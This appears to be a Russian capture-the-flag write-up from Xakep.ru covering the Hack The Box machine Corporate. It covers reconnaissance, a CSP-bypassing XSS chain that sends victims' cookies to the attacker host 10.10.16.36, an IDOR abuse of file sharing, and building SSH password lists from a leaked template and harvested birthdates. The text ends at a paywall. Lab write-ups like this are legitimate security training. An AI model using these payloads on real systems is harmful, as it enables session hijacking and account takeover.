Содержание статьи
Наша цель — получение прав суперпользователя на машине Corporate с учебной площадки Hack The Box. Уровень сложности — «безумный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.246 corporate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего один открытый порт — 80. На нем отвечает веб‑сервер OpenResty 1.21.4.3. На главной странице нас встречает сайт, а также мы узнаём реальный домен.
Точка входа
Ниже на странице можно найти ссылку на другой ресурс, расположенный на поддомене.
Чтобы получить доступ к ресурсу, добавим соответствующую запись в файл /
, а затем повторим обращение к support.
.
10.10.11.246 corporate.htb support.corporate.htb
Мы нашли один поддомен, а значит, могут быть и другие. Проверить это легко с помощью сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-d
— глубина сканирования; -
-H
— HTTP-заголовок.
Чтобы в вывод утилиты не попадали абсолютно все варианты из списка, можно установить фильтр по размеру страницы (параметр -fs
). Место перебора помечается словом FUZZ.
Команда получается следующая:
ffuf -u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb' -t 128 -fs 175 -w subdomains-top1million-110000.txt
Так мы открываем три новых поддомена, для которых нужно сделать запись в /
. Затем можем посмотреть соответствующие сайты.
10.10.11.246 corporate.htb support.corporate.htb git.corporate.htb sso.corporate.htb people.corporate.htb
К git
доступ получить нельзя, people
требует авторизации, а SSO обеспечивает единый механизм аутентификации для всех ресурсов. Возвращаемся к чату техподдержки и проверяем вставку тегов HTML.
Нагрузка со словом bolt
, обернутым в тег <
сработала — слово отображено жирным шрифтом. Это значит, что можно попытать удачу с инъекцией XSS.
Точка опоры
XSS bypass CSP
Найти здесь XSS никак не получилось, а все из‑за политики CSP, о которой можно узнать из ответа веб‑сервера.
Content Security Policy — это механизм обеспечения безопасности, с помощью которого можно защищаться от XSS-атак. CSP описывает доверенные источники для загрузки ресурсов и устанавливает правила использования встроенных скриптов. Загрузка с ресурсов, не входящих в белый список, блокируется. Таким образом, для эксплуатации XSS нужно найти возможность разместить код на одном из ресурсов corporate.
.
В это время Burp Scanner определил возможность манипуляции содержимым JS-скрипта /
через параметр v
.
Также нашлась возможность менять содержимое страницы 404 главного сайта, что позволяет вставить теги <
и перейти к уязвимости Self-XSS.
Таким образом, в файл /
можно вставить свой JavaScript-код, который будет отправлять на наш сервер cookie пользователя.
http://corporate.htb/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`
Затем этот скрипт можно загружать в теге <
через страницу 404 главного сайта и приводить нагрузку в действие.
http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>
Чтобы пользователь автоматически переходил по этой ссылке, используем HTML-инъекцию тега <
с параметром http-equiv="refresh"
.
<meta http-equiv="refresh" content="0;url=http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>">
Запускаем веб‑сервер:
python3 -m http.server
И отправляем нагрузку в чат. Как только пользователь просмотрит сообщение, он автоматически будет перенаправлен на http://
, где через Self-XSS загрузится скрипт /
со встроенной JS-нагрузкой для кражи печенек.
Так как каждый новый чат будет со случайным сотрудником техподдержки, можно получать cookie разных пользователей.
IDOR + Broken Access Control
Чтобы полученные cookie автоматически применялись на всех сайтах, загружаемых через Burp Proxy, нужно открыть настройки прокси и указать их в разделе Match and replace rules.
На странице Sharing можно найти несколько файлов, в том числе конфиг OpenVPN. Офисные документы ничего интересного не содержат.
Так как обращение к файлу происходит через его идентификатор, стоит перебрать другие значения ID
: доступ к файлам может не контролироваться. Однако в этот раз ничего не получилось. В дополнение к обнаруженному можно отметить функцию, которая позволяет поделиться файлом с другим пользователем.
На странице Chat есть только окно чата для внутренних пользователей. При клике на пользователя можно просмотреть его профиль.
Больше на сайте ничего интересного найти не удалось, поэтому вернемся и посмотрим, какие возможности дает загрузка и шеринг файла. Чтобы войти от имени любого другого пользователя, можно украсть рандомные cookie через XSS и применить в Burp Proxy.
Через форму загрузки ничего интересного сделать не получилось. А вот чтобы поделиться файлом, серверу нужно указать ID файла и почтовый адрес пользователя, которому будет открыт доступ.
Хотя сервер проверяет, можно ли тому или иному пользователю получить доступ к определенному файлу, при шеринге это разрешение может и не действовать. Чтобы попробовать поделиться всеми файлами, можно через Burp Intruder перебрать их ID в запросе на шеринг.
Когда все запросы в Burp Intruder выполнены, снова проверяем файлы пользователя и находим там большой список документов.
Среди бесполезных файлов DOCX есть один интересный файл в формате PDF.
Сбор информации
В PDF есть шаблон устанавливаемых для пользователей паролей. Пароли составляются по простой схеме: строка CorporateStarter
и дата рождения пользователя.
Дату рождения пользователя легко найти в его профиле. Можем через Burp Intruder перебрать профили всех пользователей и выбрать на страницах их имена и даты рождения.
Для выбора имени пользователя и даты рождения следует использовать опцию Grep-Extract
.
Получаем таблицу с данными, и теперь нужно выбрать результаты для всех пользователей. Сохраняем и в появившемся окне выбираем только столбцы с именами и датами рождения. В качестве разделителя выбираем запятую.
Теперь нужно найти сервисы, в которые можно попытаться залогиниться. Подключаемся к VPN, используя скачанный конфиг, и просматриваем добавленные маршруты. Это нужно для определения новых сетей, к которым открывается доступ.
sudo openvpn candido-hackett.ovpn
Нам доступны сети 10.
и 10.
. Сначала просканируем их и найдем живые хосты. Nmap с опцией -sn
выполнит перебор всех хостов в сети.
nmap -sn 10.8.0.0/24 --min-rate=200
nmap -sn 10.9.0.0/24 --min-rate=500
Теперь нужно просканировать порты на найденных хостах. Для этого используем уже знакомый скрипт, который я приводил в начале статьи.
Адреса 10.
и 10.
принадлежат одному хосту, поэтому далее работать будем только с одним из них.
Шаблонные пароли
На хосте 10.9.0.4 работают службы SSH (порт 22) и NFS (порт 111). Первым делом нужно перебрать учетные данные на SSH. Но сперва надо собрать списки логинов и паролей.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»